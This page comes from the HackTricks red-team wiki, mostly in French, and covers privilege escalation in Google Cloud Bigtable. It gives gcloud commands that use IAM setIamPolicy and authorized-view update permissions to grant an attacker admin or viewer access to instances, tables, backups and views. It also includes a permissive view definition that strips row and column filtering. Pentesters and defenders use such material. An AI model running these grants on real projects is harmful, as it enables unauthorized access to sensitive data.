GCP - Bigtable Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Bigtable

Pour plus d’informations sur Bigtable, consultez :

GCP - Bigtable Enum

bigtable.instances.setIamPolicy

Autorisations : bigtable.instances.setIamPolicy (et généralement bigtable.instances.getIamPolicy pour lire les bindings actuels).

PossĂ©der la politique IAM de l’instance vous permet de vous attribuer roles/bigtable.admin (ou tout rĂŽle personnalisĂ©), ce qui se rĂ©percute sur chaque cluster, table, sauvegarde et vue autorisĂ©e de l’instance.

S'attribuer le rĂŽle bigtable.admin sur l'instance ```bash gcloud bigtable instances add-iam-policy-binding \ --member='user:' \ --role='roles/bigtable.admin' ```

Tip

Si vous ne pouvez pas lister les bindings existants, créez un nouveau document de policy et appliquez-le avec gcloud bigtable instances set-iam-policy, en veillant à y conserver votre propre accÚs.

Aprùs avoir obtenu cette permission, consultez la Bigtable Post Exploitation section pour d’autres techniques d’abus des permissions Bigtable.

bigtable.tables.setIamPolicy

Permissions: bigtable.tables.setIamPolicy (optionally bigtable.tables.getIamPolicy).

Instance policies can be locked down while individual tables are delegated. If you can edit the table IAM you can promote yourself to owner of the target dataset without touching other workloads.

Attribuez-vous le rĂŽle bigtable.admin sur la table ```bash gcloud bigtable tables add-iam-policy-binding \ --instance= \ --member='user:' \ --role='roles/bigtable.admin' ```

Aprùs avoir obtenu cette permission, consultez la Bigtable Post Exploitation section pour plus de techniques permettant d’abuser des permissions Bigtable.

bigtable.backups.setIamPolicy

Permissions: bigtable.backups.setIamPolicy

Les sauvegardes peuvent ĂȘtre restaurĂ©es sur n’importe quelle instance dans n’importe quel projet que vous contrĂŽlez. D’abord, donnez Ă  votre identitĂ© l’accĂšs Ă  la sauvegarde, puis restaurez-la dans un sandbox oĂč vous avez des rĂŽles Admin/Owner.

Si vous avez la permission bigtable.backups.setIamPolicy, vous pouvez vous accorder la permission bigtable.backups.restore pour restaurer d’anciennes sauvegardes et tenter d’accĂ©der Ă  des informations sensibles.

Prendre possession d'un instantané de sauvegarde ```bash # Take ownership of the snapshot gcloud bigtable backups add-iam-policy-binding \ --instance= --cluster= \ --member='user:' \ --role='roles/bigtable.admin' ```

AprÚs avoir vérifié cette permission dans la Bigtable Post Exploitation section pour savoir comment restaurer une sauvegarde.

Mettre Ă  jour Authorized View

Autorisations: bigtable.authorizedViews.update

Les Authorized Views sont censĂ©es masquer des lignes/colonnes. Les modifier ou les supprimer supprime les garde-fous granulaires sur lesquels s’appuient les dĂ©fenseurs.

Mettre à jour Authorized View pour élargir l'accÚs ```bash # Broaden the subset by uploading a permissive definition gcloud bigtable authorized-views update \ --instance= --table= \ --definition-file=/tmp/permissive-view.json --ignore-warnings

Json example not filtering any row or column

cat <<‘EOF’ > /tmp/permissive-view.json { “subsetView”: { “rowPrefixes”: [“”], “familySubsets”: { “”: { “qualifierPrefixes”: [“”] } } } } EOF

Describe the authorized view to get a family name

gcloud bigtable authorized-views describe
–instance= –table=

</details>

AprĂšs avoir obtenu cette permission, consultez la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) pour savoir comment lire depuis une Authorized View.

### `bigtable.authorizedViews.setIamPolicy`

**Permissions :**  `bigtable.authorizedViews.setIamPolicy`.

Un attaquant disposant de cette permission peut s'octroyer l'accÚs à une Authorized View, qui peut contenir des données sensibles auxquelles il n'aurait pas autrement accÚs.

<details><summary>S'octroyer l'accĂšs Ă  Authorized View</summary>
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'

AprÚs avoir effectué cette vérification de permission, consultez la Bigtable Post Exploitation section pour savoir comment lire depuis une vue autorisée.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks